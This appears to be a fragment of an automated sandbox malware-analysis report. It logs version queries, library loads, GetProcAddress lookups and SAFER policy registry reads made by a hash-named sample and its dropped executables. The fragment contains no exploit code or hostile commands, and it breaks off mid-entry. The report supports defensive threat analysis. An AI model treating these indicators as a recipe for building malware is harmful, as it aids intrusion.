000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004156) "cp7GF84.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004976) "cp7GF84.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004976) "cp7GF84.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004976) "tb8sC54.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007348) "tb8sC54.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007348) "tb8sC54.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007348) "AY1yn84.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005260) "AY1yn84.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005260) "AY1yn84.exe" called "RtlGetVersion" with parameter 000000000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005260) "1kw38Ju7.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00007144)30:T902,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000df2673d089120300000000d8f87f00baa82673d089120330f97f00c58b2673d089120301000000e7872b9d00000000e464cd540000000003000000e4f97f000a0000001c07000028fa7f0060f97f005d00000003000000e8f87f00f0f87f00fcfb7f00d0bb267357ee7ceefeffffff3cfa7f0055112573e464cd5400000000 (UID: 00000000-00004880) "hA8Nu84.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000f82701fcdf2673208b47030000000020f82701baa82673208b470378f82701c58b2673208b4703010000009da99e54000000008090844300000000030000002cf927010a0000000c1d000070f92701a8f827015d0000000300000030f8270138f8270140fb2701d0bb267365c19126feffffff80f927015511257380908443 (UID: 00000000-00004156) "cp7GF84.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000fbe300fcdf2673f0873d030000000068fbe300baa82673f0873d03c0fbe300c58b2673f0873d03010000000f165756000000001e6ae441000000000300000074fce3000a000000941d0000b8fce300f0fbe3005f0000000300000078fbe30080fbe30088fee300d0bb26734f7d9c25feffffffc8fce300551125731e6ae441 (UID: 00000000-00004976) "tb8sC54.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000df26735098100300000000d0f6bb00baa826735098100328f7bb00c58b26735098100301000000ac4ce88c0000000030a14f3e0000000003000000dcf7bb000a0000004811000020f8bb0058f7bb005d00000003000000e0f6bb00e8f6bb00f4f9bb00d0bb2673042b7bfffeffffff34f8bb005511257330a14f3e00000000 (UID: 00000000-00007348) "AY1yn84.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000df2673f087b60200000000d8f57500baa82673f087b60230f67500c58b2673f087b60201000000b0d986790000000006fe753e0000000003000000e4f675000a0000008005000028f7750060f675005d00000003000000e8f57500f0f57500fcf87500d0bb267300bfdb0afeffffff3cf775005511257306fe753e00000000 (UID: 00000000-00005260) "1kw38Ju7.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000000002e00002e161d00009834c702280bc502d8e9c6020000000000000000000000000000000000000000bcf6af001c28c70200000000000074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e006600690067005c006d00 (UID: 00000000-00007144)31:T64d,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "hA8Nu84.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "hA8Nu84.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "cp7GF84.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cp7GF84.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "tb8sC54.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "tb8sC54.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "AY1yn84.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "AY1yn84.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "1kw38Ju7.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "2TJ5569.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "3Fr64vK.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED")32:T676,Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetNativeSystemInfo" (Indicator: "GetNativeSystemInfo"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsA" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")33:T90d,Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00004156.00000001.93047.00B2A000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00004880.00000001.92978.00E6A000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00004976.00000001.93096.0118A000.00000002.mdmp") Found reference to API "GetVersion" (Indicator: "GetVersion"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersionExA"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp") Found reference to API "GetVersionExA" (Indicator: "GetVersion"; Source: "00000000-00005260.00000000.91286.0013A000.00000002.mdmp")34:T20d2,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004880) "hA8Nu84.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00004156) "hA8Nu84.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004156) "cp7GF84.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004976) "cp7GF84.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004976) "cp7GF84.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004976) "cp7GF84.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004976) "cp7GF84.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00004976) "cp7GF84.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00004976) "cp7GF84.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00004976) "tb8sC54.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007348) "tb8sC54.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007348) "tb8sC54.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007348) "tb8sC54.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007348) "tb8sC54.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00007348) "tb8sC54.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00007348) "tb8sC54.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00007348) "AY1yn84.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005260) "AY1yn84.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005260) "AY1yn84.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005260) "AY1yn84.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005260) "AY1yn84.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005260) "AY1yn84.exe" called "LoadLibrary" with a parameter feclient.dll (UID: 00000000-00005260) "AY1yn84.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advpack.dll (UID: 00000000-00005260) "1kw38Ju7.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-l1-1-0.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00007144) "1kw38Ju7.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00007144) "2TJ5569.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001412) "2TJ5569.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001412) "2TJ5569.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001412) "2TJ5569.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001412) "2TJ5569.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-0 (UID: 00000000-00001412) "2TJ5569.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2 (UID: 00000000-00001412) "3Fr64vK.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00005624) "3Fr64vK.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00005624) "3Fr64vK.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00005624) "3Fr64vK.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00005624)35:Tcc09,"e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004880) "e2f3379b09a3ac4a2a986c775e7f0bf7c4c4360157e0731f465d17d99dfd45d9.exe" called 